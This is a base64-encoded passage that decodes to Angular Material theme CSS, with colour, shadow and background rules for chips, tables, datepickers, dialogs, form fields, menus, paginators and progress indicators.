1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC13YXJuIC5tYXQtY2hpcC1yZW1vdmV7Y29sb3I6I2ZmZjtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1zZWxlY3RlZC5tYXQtd2FybiAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuMSl9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnQgLm1hdC1jaGlwLXJlbW92ZXtjb2xvcjojZmZmO29wYWNpdHk6LjR9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnQgLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kOnJnYmEoMjU1LDI1NSwyNTUsLjEpfS5tYXQtdGFibGV7YmFja2dyb3VuZDojZmZmfS5tYXQtdGFibGUgdGJvZHksLm1hdC10YWJsZSB0Zm9vdCwubWF0LXRhYmxlIHRoZWFkLC5tYXQtdGFibGUtc3RpY2t5LFttYXQtZm9vdGVyLXJvd10sW21hdC1oZWFkZXItcm93XSxbbWF0LXJvd10sbWF0LWZvb3Rlci1yb3csbWF0LWhlYWRlci1yb3csbWF0LXJvd3tiYWNrZ3JvdW5kOmluaGVyaXR9bWF0LWZvb3Rlci1yb3csbWF0LWhlYWRlci1yb3csbWF0LXJvdyx0ZC5tYXQtY2VsbCx0ZC5tYXQtZm9vdGVyLWNlbGwsdGgubWF0LWhlYWRlci1jZWxse2JvcmRlci1ib3R0b20tY29sb3I6cmdiYSgwLDAsMCwuMTIpfS5tYXQtaGVhZGVyLWNlbGx7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtY2VsbCwubWF0LWZvb3Rlci1jZWxse2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWNhbGVuZGFyLWFycm93e2JvcmRlci10b3AtY29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50IC5tYXQtY2FsZW5kYXItbmV4dC1idXR0b24sLm1hdC1kYXRlcGlja2VyLWNvbnRlbnQgLm1hdC1jYWxlbmRhci1wcmV2aW91cy1idXR0b24sLm1hdC1kYXRlcGlja2VyLXRvZ2dsZXtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1jYWxlbmRhci10YWJsZS1oZWFkZXJ7Y29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtY2FsZW5kYXItdGFibGUtaGVhZGVyLWRpdmlkZXI6OmFmdGVye2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMTIpfS5tYXQtY2FsZW5kYXItYm9keS1sYWJlbHtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1jYWxlbmRhci1ib2R5LWNlbGwtY29udGVudHtjb2xvcjpyZ2JhKDAsMCwwLC44Nyk7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50fS5tYXQtY2FsZW5kYXItYm9keS1kaXNhYmxlZD4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpe2NvbG9yOnJnYmEoMCwwLDAsLjM4KX0uY2RrLWtleWJvYXJkLWZvY3VzZWQgLm1hdC1jYWxlbmRhci1ib2R5LWFjdGl2ZT4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpLC5jZGstcHJvZ3JhbS1mb2N1c2VkIC5tYXQtY2FsZW5kYXItYm9keS1hY3RpdmU+Lm1hdC1jYWxlbmRhci1ib2R5LWNlbGwtY29udGVudDpub3QoLm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVkKSwubWF0LWNhbGVuZGFyLWJvZHktY2VsbDpub3QoLm1hdC1jYWxlbmRhci1ib2R5LWRpc2FibGVkKTpob3Zlcj4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpe2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwuMDQpfS5tYXQtY2FsZW5kYXItYm9keS10b2RheTpub3QoLm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVkKXtib3JkZXItY29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtY2FsZW5kYXItYm9keS1kaXNhYmxlZD4ubWF0LWNhbGVuZGFyLWJvZHktdG9kYXk6bm90KC5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZCl7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsLjE4KX0ubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1O2NvbG9yOiNmZmZ9Lm1hdC1jYWxlbmRhci1ib2R5LWRpc2FibGVkPi5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjMsODEsMTgxLC40KX0ubWF0LWNhbGVuZGFyLWJvZHktdG9kYXkubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7Ym94LXNoYWRvdzppbnNldCAwIDAgMCAxcHggI2ZmZn0ubWF0LWRhdGVwaWNrZXItY29udGVudHtib3gtc2hhZG93OjAgMnB4IDRweCAtMXB4IHJnYmEoMCwwLDAsLjIpLDAgNHB4IDVweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCAxMHB4IDAgcmdiYSgwLDAsMCwuMTIpO2JhY2tncm91bmQtY29sb3I6I2ZmZjtjb2xvcjpyZ2JhKDAsMCwwLC44Nyl9Lm1hdC1kYXRlcGlja2VyLWNvbnRlbnQubWF0LWFjY2VudCAubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC1kYXRlcGlja2VyLWNvbnRlbnQubWF0LWFjY2VudCAubWF0LWNhbGVuZGFyLWJvZHktZGlzYWJsZWQ+Lm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVke2JhY2tncm91bmQtY29sb3I6cmdiYSgyNTUsNjQsMTI5LC40KX0ubWF0LWRhdGVwaWNrZXItY29udGVudC5tYXQtYWNjZW50IC5tYXQtY2FsZW5kYXItYm9keS10b2RheS5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtib3gtc2hhZG93Omluc2V0IDAgMCAwIDFweCAjZmZmfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50Lm1hdC13YXJuIC5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzY7Y29sb3I6I2ZmZn0ubWF0LWRhdGVwaWNrZXItY29udGVudC5tYXQtd2FybiAubWF0LWNhbGVuZGFyLWJvZHktZGlzYWJsZWQ+Lm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVke2JhY2tncm91bmQtY29sb3I6cmdiYSgyNDQsNjcsNTQsLjQpfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50Lm1hdC13YXJuIC5tYXQtY2FsZW5kYXItYm9keS10b2RheS5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtib3gtc2hhZG93Omluc2V0IDAgMCAwIDFweCAjZmZmfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50LXRvdWNoe2JveC1zaGFkb3c6MCAwIDAgMCByZ2JhKDAsMCwwLC4yKSwwIDAgMCAwIHJnYmEoMCwwLDAsLjE0KSwwIDAgMCAwIHJnYmEoMCwwLDAsLjEyKX0ubWF0LWRhdGVwaWNrZXItdG9nZ2xlLWFjdGl2ZXtjb2xvcjojM2Y1MWI1fS5tYXQtZGF0ZXBpY2tlci10b2dnbGUtYWN0aXZlLm1hdC1hY2NlbnR7Y29sb3I6I2ZmNDA4MX0ubWF0LWRhdGVwaWNrZXItdG9nZ2xlLWFjdGl2ZS5tYXQtd2Fybntjb2xvcjojZjQ0MzM2fS5tYXQtZGlhbG9nLWNvbnRhaW5lcntib3gtc2hhZG93OjAgMTFweCAxNXB4IC03cHggcmdiYSgwLDAsMCwuMiksMCAyNHB4IDM4cHggM3B4IHJnYmEoMCwwLDAsLjE0KSwwIDlweCA0NnB4IDhweCByZ2JhKDAsMCwwLC4xMik7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWRpdmlkZXJ7Ym9yZGVyLXRvcC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1kaXZpZGVyLXZlcnRpY2Fse2JvcmRlci1yaWdodC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1leHBhbnNpb24tcGFuZWx7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWV4cGFuc2lvbi1wYW5lbDpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1hY3Rpb24tcm93e2JvcmRlci10b3AtY29sb3I6cmdiYSgwLDAsMCwuMTIpfS5tYXQtZXhwYW5zaW9uLXBhbmVsIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pLC5tYXQtZXhwYW5zaW9uLXBhbmVsIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci5jZGstcHJvZ3JhbS1mb2N1c2VkOm5vdChbYXJpYS1kaXNhYmxlZD10cnVlXSksLm1hdC1leHBhbnNpb24tcGFuZWw6bm90KC5tYXQtZXhwYW5kZWQpIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlcjpob3Zlcjpub3QoW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pe2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpfUBtZWRpYSAoaG92ZXI6bm9uZSl7Lm1hdC1leHBhbnNpb24tcGFuZWw6bm90KC5tYXQtZXhwYW5kZWQpOm5vdChbYXJpYS1kaXNhYmxlZD10cnVlXSkgLm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyOmhvdmVye2JhY2tncm91bmQ6I2ZmZn19Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyLXRpdGxle2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWV4cGFuc2lvbi1pbmRpY2F0b3I6OmFmdGVyLC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbntjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyW2FyaWEtZGlzYWJsZWQ9dHJ1ZV17Y29sb3I6cmdiYSgwLDAsMCwuMjYpfS5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlclthcmlhLWRpc2FibGVkPXRydWVdIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbiwubWF0LWV4cGFuc2lvbi1wYW5lbC1oZWFkZXJbYXJpYS1kaXNhYmxlZD10cnVlXSAubWF0LWV4cGFuc2lvbi1wYW5lbC1oZWFkZXItdGl0bGV7Y29sb3I6aW5oZXJpdH0ubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuNil9Lm1hdC1oaW50e2NvbG9yOnJnYmEoMCwwLDAsLjYpfS5tYXQtZm9ybS1maWVsZC5tYXQtZm9jdXNlZCAubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6IzNmNTFiNX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLm1hdC1hY2NlbnR7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLm1hdC13YXJue2NvbG9yOiNmNDQzMzZ9Lm1hdC1mb2N1c2VkIC5tYXQtZm9ybS1maWVsZC1yZXF1aXJlZC1tYXJrZXJ7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQtcmlwcGxle2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtZm9ybS1maWVsZC5tYXQtZm9jdXNlZCAubWF0LWZvcm0tZmllbGQtcmlwcGxle2JhY2tncm91bmQtY29sb3I6IzNmNTFiNX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZS5tYXQtYWNjZW50e2JhY2tncm91bmQtY29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZS5tYXQtd2FybntiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzZ9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QubWF0LWZvY3VzZWQ6bm90KC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkKSAubWF0LWZvcm0tZmllbGQtaW5maXg6OmFmdGVye2NvbG9yOiMzZjUxYjV9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QubWF0LWZvY3VzZWQ6bm90KC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkKS5tYXQtYWNjZW50IC5tYXQtZm9ybS1maWVsZC1pbmZpeDo6YWZ0ZXJ7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQtdHlwZS1tYXQtbmF0aXZlLXNlbGVjdC5tYXQtZm9jdXNlZDpub3QoLm1hdC1mb3JtLWZpZWxkLWludmFsaWQpLm1hdC13YXJuIC5tYXQtZm9ybS1maWVsZC1pbmZpeDo6YWZ0ZXJ7Y29sb3I6I2Y0NDMzNn0ubWF0LWZvcm0tZmllbGQubWF0LWZvcm0tZmllbGQtaW52YWxpZCAubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6I2Y0NDMzNn0ubWF0LWZvcm0tZmllbGQubWF0LWZvcm0tZmllbGQtaW52YWxpZCAubWF0LWZvcm0tZmllbGQtbGFiZWwgLm1hdC1mb3JtLWZpZWxkLXJlcXVpcmVkLW1hcmtlciwubWF0LWZvcm0tZmllbGQubWF0LWZvcm0tZmllbGQtaW52YWxpZCAubWF0LWZvcm0tZmllbGQtbGFiZWwubWF0LWFjY2VudHtjb2xvcjojZjQ0MzM2fS5tYXQtZm9ybS1maWVsZC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkIC5tYXQtZm9ybS1maWVsZC1yaXBwbGUsLm1hdC1mb3JtLWZpZWxkLm1hdC1mb3JtLWZpZWxkLWludmFsaWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZS5tYXQtYWNjZW50e2JhY2tncm91bmQtY29sb3I6I2Y0NDMzNn0ubWF0LWVycm9ye2NvbG9yOiNmNDQzMzZ9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC1sYWJlbHtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtaGludHtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC11bmRlcmxpbmV7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC40Mil9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5Lm1hdC1mb3JtLWZpZWxkLWRpc2FibGVkIC5tYXQtZm9ybS1maWVsZC11bmRlcmxpbmV7YmFja2dyb3VuZC1pbWFnZTpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQscmdiYSgwLDAsMCwuNDIpIDAscmdiYSgwLDAsMCwuNDIpIDMzJSx0cmFuc3BhcmVudCAwKTtiYWNrZ3JvdW5kLXNpemU6NHB4IDEwMCU7YmFja2dyb3VuZC1yZXBlYXQ6cmVwZWF0LXh9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utc3RhbmRhcmQgLm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsLjQyKX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1zdGFuZGFyZC5tYXQtZm9ybS1maWVsZC1kaXNhYmxlZCAubWF0LWZvcm0tZmllbGQtdW5kZXJsaW5le2JhY2tncm91bmQtaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LHJnYmEoMCwwLDAsLjQyKSAwLHJnYmEoMCwwLDAsLjQyKSAzMyUsdHJhbnNwYXJlbnQgMCk7YmFja2dyb3VuZC1zaXplOjRweCAxMDAlO2JhY2tncm91bmQtcmVwZWF0OnJlcGVhdC14fS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWZpbGwgLm1hdC1mb3JtLWZpZWxkLWZsZXh7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC4wNCl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbC5tYXQtZm9ybS1maWVsZC1kaXNhYmxlZCAubWF0LWZvcm0tZmllbGQtZmxleHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsLjAyKX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1maWxsIC5tYXQtZm9ybS1maWVsZC11bmRlcmxpbmU6OmJlZm9yZXtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsLjQyKX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1maWxsLm1hdC1mb3JtLWZpZWxkLWRpc2FibGVkIC5tYXQtZm9ybS1maWVsZC1sYWJlbHtjb2xvcjpyZ2JhKDAsMCwwLC4zOCl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbC5tYXQtZm9ybS1maWVsZC1kaXNhYmxlZCAubWF0LWZvcm0tZmllbGQtdW5kZXJsaW5lOjpiZWZvcmV7YmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudH0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lIC5tYXQtZm9ybS1maWVsZC1vdXRsaW5le2NvbG9yOnJnYmEoMCwwLDAsLjEyKX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lIC5tYXQtZm9ybS1maWVsZC1vdXRsaW5lLXRoaWNre2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lLm1hdC1mb2N1c2VkIC5tYXQtZm9ybS1maWVsZC1vdXRsaW5lLXRoaWNre2NvbG9yOiMzZjUxYjV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utb3V0bGluZS5tYXQtZm9jdXNlZC5tYXQtYWNjZW50IC5tYXQtZm9ybS1maWVsZC1vdXRsaW5lLXRoaWNre2NvbG9yOiNmZjQwODF9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utb3V0bGluZS5tYXQtZm9jdXNlZC5tYXQtd2FybiAubWF0LWZvcm0tZmllbGQtb3V0bGluZS10aGlja3tjb2xvcjojZjQ0MzM2fS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLW91dGxpbmUubWF0LWZvcm0tZmllbGQtaW52YWxpZC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkIC5tYXQtZm9ybS1maWVsZC1vdXRsaW5lLXRoaWNre2NvbG9yOiNmNDQzMzZ9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utb3V0bGluZS5tYXQtZm9ybS1maWVsZC1kaXNhYmxlZCAubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLW91dGxpbmUubWF0LWZvcm0tZmllbGQtZGlzYWJsZWQgLm1hdC1mb3JtLWZpZWxkLW91dGxpbmV7Y29sb3I6cmdiYSgwLDAsMCwuMDYpfS5tYXQtaWNvbi5tYXQtcHJpbWFyeXtjb2xvcjojM2Y1MWI1fS5tYXQtaWNvbi5tYXQtYWNjZW50e2NvbG9yOiNmZjQwODF9Lm1hdC1pY29uLm1hdC13YXJue2NvbG9yOiNmNDQzMzZ9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QgLm1hdC1mb3JtLWZpZWxkLWluZml4OjphZnRlcntjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QubWF0LWZvcm0tZmllbGQtZGlzYWJsZWQgLm1hdC1mb3JtLWZpZWxkLWluZml4OjphZnRlciwubWF0LWlucHV0LWVsZW1lbnQ6ZGlzYWJsZWR7Y29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtaW5wdXQtZWxlbWVudHtjYXJldC1jb2xvcjojM2Y1MWI1fS5tYXQtaW5wdXQtZWxlbWVudDo6cGxhY2Vob2xkZXJ7Y29sb3I6cmdiYSgwLDAsMCwuNDIpfS5tYXQtaW5wdXQtZWxlbWVudDo6LW1vei1wbGFjZWhvbGRlcntjb2xvcjpyZ2JhKDAsMCwwLC40Mil9Lm1hdC1pbnB1dC1lbGVtZW50Ojotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVye2NvbG9yOnJnYmEoMCwwLDAsLjQyKX0ubWF0LWlucHV0LWVsZW1lbnQ6LW1zLWlucHV0LXBsYWNlaG9sZGVye2NvbG9yOnJnYmEoMCwwLDAsLjQyKX0ubWF0LWFjY2VudCAubWF0LWlucHV0LWVsZW1lbnR7Y2FyZXQtY29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQtaW52YWxpZCAubWF0LWlucHV0LWVsZW1lbnQsLm1hdC13YXJuIC5tYXQtaW5wdXQtZWxlbWVudHtjYXJldC1jb2xvcjojZjQ0MzM2fS5tYXQtZm9ybS1maWVsZC10eXBlLW1hdC1uYXRpdmUtc2VsZWN0Lm1hdC1mb3JtLWZpZWxkLWludmFsaWQgLm1hdC1mb3JtLWZpZWxkLWluZml4OjphZnRlcntjb2xvcjojZjQ0MzM2fS5tYXQtbGlzdC1iYXNlIC5tYXQtbGlzdC1pdGVte2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWxpc3QtYmFzZSAubWF0LWxpc3Qtb3B0aW9ue2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWxpc3QtYmFzZSAubWF0LXN1YmhlYWRlcntjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1saXN0LWl0ZW0tZGlzYWJsZWR7YmFja2dyb3VuZC1jb2xvcjojZWVlfS5tYXQtYWN0aW9uLWxpc3QgLm1hdC1saXN0LWl0ZW06Zm9jdXMsLm1hdC1hY3Rpb24tbGlzdCAubWF0LWxpc3QtaXRlbTpob3ZlciwubWF0LWxpc3Qtb3B0aW9uOmZvY3VzLC5tYXQtbGlzdC1vcHRpb246aG92ZXIsLm1hdC1uYXYtbGlzdCAubWF0LWxpc3QtaXRlbTpmb2N1cywubWF0LW5hdi1saXN0IC5tYXQtbGlzdC1pdGVtOmhvdmVye2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpfS5tYXQtbWVudS1wYW5lbHtiYWNrZ3JvdW5kOiNmZmZ9Lm1hdC1tZW51LXBhbmVsOm5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pe2JveC1zaGFkb3c6MCAycHggNHB4IC0xcHggcmdiYSgwLDAsMCwuMiksMCA0cHggNXB4IDAgcmdiYSgwLDAsMCwuMTQpLDAgMXB4IDEwcHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1tZW51LWl0ZW17YmFja2dyb3VuZDowIDA7Y29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtbWVudS1pdGVtW2Rpc2FibGVkXSwubWF0LW1lbnUtaXRlbVtkaXNhYmxlZF06OmFmdGVye2NvbG9yOnJnYmEoMCwwLDAsLjM4KX0ubWF0LW1lbnUtaXRlbSAubWF0LWljb24tbm8tY29sb3IsLm1hdC1tZW51LWl0ZW0tc3VibWVudS10cmlnZ2VyOjphZnRlcntjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1tZW51LWl0ZW0taGlnaGxpZ2h0ZWQ6bm90KFtkaXNhYmxlZF0pLC5tYXQtbWVudS1pdGVtLmNkay1rZXlib2FyZC1mb2N1c2VkOm5vdChbZGlzYWJsZWRdKSwubWF0LW1lbnUtaXRlbS5jZGstcHJvZ3JhbS1mb2N1c2VkOm5vdChbZGlzYWJsZWRdKSwubWF0LW1lbnUtaXRlbTpob3Zlcjpub3QoW2Rpc2FibGVkXSl7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4wNCl9Lm1hdC1wYWdpbmF0b3J7YmFja2dyb3VuZDojZmZmfS5tYXQtcGFnaW5hdG9yLC5tYXQtcGFnaW5hdG9yLXBhZ2Utc2l6ZSAubWF0LXNlbGVjdC10cmlnZ2Vye2NvbG9yOnJnYmEoMCwwLDAsLjU0KX0ubWF0LXBhZ2luYXRvci1kZWNyZW1lbnQsLm1hdC1wYWdpbmF0b3ItaW5jcmVtZW50e2JvcmRlci10b3A6MnB4IHNvbGlkIHJnYmEoMCwwLDAsLjU0KTtib3JkZXItcmlnaHQ6MnB4IHNvbGlkIHJnYmEoMCwwLDAsLjU0KX0ubWF0LXBhZ2luYXRvci1maXJzdCwubWF0LXBhZ2luYXRvci1sYXN0e2JvcmRlci10b3A6MnB4IHNvbGlkIHJnYmEoMCwwLDAsLjU0KX0ubWF0LWljb24tYnV0dG9uW2Rpc2FibGVkXSAubWF0LXBhZ2luYXRvci1kZWNyZW1lbnQsLm1hdC1pY29uLWJ1dHRvbltkaXNhYmxlZF0gLm1hdC1wYWdpbmF0b3ItZmlyc3QsLm1hdC1pY29uLWJ1dHRvbltkaXNhYmxlZF0gLm1hdC1wYWdpbmF0b3ItaW5jcmVtZW50LC5tYXQtaWNvbi1idXR0b25bZGlzYWJsZWRdIC5tYXQtcGFnaW5hdG9yLWxhc3R7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsLjM4KX0ubWF0LXByb2dyZXNzLWJhci1iYWNrZ3JvdW5ke2ZpbGw6I2M1Y2FlOX0ubWF0LXByb2dyZXNzLWJhci1idWZmZXJ7YmFja2dyb3VuZC1jb2xvcjojYzVjYWU5fS5tYXQtcHJvZ3Jlc3MtYmFyLWZpbGw6OmFmdGVye2JhY2tncm91bmQtY29sb3I6IzNmNTFiNX0ubWF0LXByb2dyZXNzLWJhci5tYXQtYWNjZW50IC5tYXQtcHJvZ3Jlc3MtYmFyLWJhY2tncm91bmR7ZmlsbDojZmY4MGFifS5tYXQtcHJvZ3Jlc3MtYmFyLm1hdC1hY2NlbnQgLm1hdC1wcm9ncmVzcy1iYXItYnVmZmVye2JhY2tncm91bmQtY29sb3I6I2ZmODBhYn0ubWF0LXByb2dyZXNzLWJhci5tYXQtYWNjZW50IC5tYXQtcHJvZ3Jlc3MtYmFyLWZpbGw6OmFmdGVye2JhY2tncm91bmQtY29sb3I6I2ZmNDA4MX0ubWF0LXByb2dyZXNzLWJhci5tYXQtd2FybiAubWF0LXByb2dyZXNzLWJhci1iYWNrZ3JvdW5ke2ZpbGw6I2ZmY2RkMn0ubWF0LXByb2dyZXNzLWJhci5tYXQtd2FybiAubWF0LXByb2dyZXNzLWJhci1idWZmZXJ7YmFja2dyb3VuZC1jb2xvcjojZmZjZGQyfS5tYXQtcHJvZ3Jlc3MtYmFyLm1hdC13YXJuIC5tYXQtcHJvZ3Jlc3MtYmFyLWZpbGw6OmFmdGVye2JhY2tncm91bmQtY29sb3I6I2Y0NDMzNn0ubWF0LXByb2dyZXNzLXNwaW5uZXIgY2lyY2xlLC5tYXQtc3Bpbm5lciBjaXJjbGV7c3Ryb2tlOiMzZjUxYjV9Lm1hdC1wcm9ncmVzcy1zcGlubmVyLm1hdC1hY2NlbnQgY2lyY2xlLC5tYXQtc3Bpbm5lci5tYXQtYWNjZW50IGNpcmNsZXtzdHJva2U6I2ZmNDA4MX0ubWF0LXByb2dyZXNzLXNwaW5uZXIubWF0LXdhcm4g